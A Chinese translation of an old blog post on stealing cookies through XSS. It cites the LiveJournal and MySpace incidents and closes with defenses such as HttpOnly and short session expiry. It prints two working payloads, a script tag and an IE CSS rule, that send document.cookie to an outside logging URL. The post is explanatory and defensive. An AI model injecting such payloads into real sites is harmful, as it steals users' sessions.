XSS攻击之窃取Cookie

简介: 译者按: 10 年前的博客似乎有点老了,但是XSS 攻击的威胁依然还在,我们不得不防。原文: XSS - Stealing Cookies 101译者: Fundebug本文采用意译,版权归原作者所有窃取Cookie是非常简单的,因此不要轻易相信客户端所声明的身份。

译者按: 10 年前的博客似乎有点老了,但是XSS 攻击的威胁依然还在,我们不得不防。

本文采用意译,版权归原作者所有

窃取Cookie是非常简单的,因此不要轻易相信客户端所声明的身份。即便这个Cookie是在数秒之前验证过,那也未必是真的,尤其当你仅使用Cookie验证客户端的时候。

2006 年 1 月,LiveJournal遭到了XSS攻击,这个事件足以警示我们。还有,2006 年 10 月,MySapce也遭到了XSS攻击,这告诉我们必须非常谨慎地过滤用户发布的文本,因为黑客可以在文本中掺杂一些 JavaScript 代码,以此窃取登陆用户的Cookie

正如黑客攻击LiveJournal那样,你不需要在登陆用户的浏览器进行任何操作,而可以在第三方进行所有操作。更糟糕的是,窃取Cookie事实上操作起来非常简单,但是防范起来却非常困难

下面的的 JavaScript 代码就可以窃取Cookie,是不是很简单?

<script>
    new Image().src =
        "http://jehiah.com/_sandbox/log.cgi?c=" + encodeURI(document.cookie);
</script>

如果我可以将这段代码插入到某个登陆用户的页面,则Cookie就会通过 HTTP 请求发送给我,然后我就可以伪造那个可怜的登陆用户了!

在 IE 浏览器上,可以通过在 CSS 代码中执行 JavaScript 来窃取Cookie,也很简单。

<style>
.getcookies{
    background-image:url('javascript:new Image().src="http://jehiah.com/_sandbox/log.cgi?c=" + encodeURI(document.cookie);');
}
</style>
<p class="getcookies"></p>

如果你对用户发布的文本内容不进行严格的过滤的话,黑客就可以很方便地窃取Cookie。是不是很可怕?如果你是一个负责任的开发者的话,你就应该保持警惕!因此,你必须假设所有用户的Cookie都被窃取了。注意,是所有用户,对于这一点,我不想含糊其辞。

为了保证安全:请不停地重设session的重设;将过期时间设置短一些;监控referreruserAgent的值;使用HttpOnly禁止脚本读取Cookie。这些措施并非万无一失,但是增加了黑客的难度,因此也是有效的。

如果你对MySapce遭到的XSS攻击不了解,可以查看黑客本人公开的技术细节,很有趣,不过切勿模仿,因为他为自己的行为此付出了不小的代价:三年内被禁止使用电脑!

参考链接

关于Fundebug

Fundebug专注于JavaScript、微信小程序、微信小游戏、支付宝小程序、React Native、Node.js和Java线上应用实时BUG监控。 自从2016年双十一正式上线,Fundebug累计处理了10亿+错误事件,付费客户有Google、360、金山软件、百姓网等众多品牌企业。欢迎大家免费试用

版权声明

转载时请注明作者Fundebug以及本文地址:
https://blog.fundebug.com/2017/08/16/xss_steal_cookie/

目录
相关文章
|
26天前
|
JavaScript 安全 前端开发
js开发:请解释什么是XSS攻击和CSRF攻击,并说明如何防范这些攻击。
XSS和CSRF是两种常见的Web安全威胁。XSS攻击通过注入恶意脚本盗取用户信息或控制账户,防范措施包括输入验证、内容编码、HTTPOnly Cookie和CSP。CSRF攻击则诱使用户执行未经授权操作,防范手段有CSRF Tokens、双重验证、Referer检查和SameSite Cookie属性。开发者应采取这些防御措施并定期进行安全审计以增强应用安全性。
19 0
|
3月前
|
存储 JSON 前端开发
【面试题】XSS攻击是什么?
【面试题】XSS攻击是什么?
|
3月前
|
存储 开发框架 安全
如何处理预防XSS漏洞攻击问题
防止XSS攻击需要从多个方面入手,包括输入验证和过滤、输出编码、设置正确的HTTP头部、使用最新的安全框架和库、定期进行安全审计和漏洞扫描以及培训和意识提升等。只有综合运用这些措施,才能有效地防止XSS攻击,保护网站和用户的安全。
|
6月前
|
存储 安全 JavaScript
渗透攻击实例-xss跨站脚本攻击
渗透攻击实例-xss跨站脚本攻击
|
3天前
|
安全 JavaScript Go
跨站脚本攻击(XSS)防护在Django中的应用
【4月更文挑战第15天】本文介绍了Django如何防范XSS攻击。Django模板引擎自动转义HTML以防止恶意脚本,提供`mark_safe`函数和CSRF防护。此外,建议开发者验证清理用户输入、使用内容安全策略、更新库以及遵循安全编码实践来增强防护。通过这些措施,开发者能构建更安全的Web应用。
|
1月前
|
安全 JavaScript 前端开发
Low 级别反射型 XSS 演示(附链接)
Low 级别反射型 XSS 演示(附链接)
17 0
|
1月前
|
存储 JavaScript 前端开发
DOM 型 XSS 演示(附链接)
DOM 型 XSS 演示(附链接)
61 0
|
1月前
|
存储 前端开发 JavaScript
存储型 XSS 攻击演示(附链接)
存储型 XSS 攻击演示(附链接)
61 0
|
1月前
|
存储 前端开发 JavaScript
反射型 XSS 攻击演示(附链接)
反射型 XSS 攻击演示(附链接)
98 0
|
2月前
|
存储 安全 JavaScript
HW常见攻击方式 --XSS跨站脚本攻击
HW常见攻击方式 --XSS跨站脚本攻击
26 0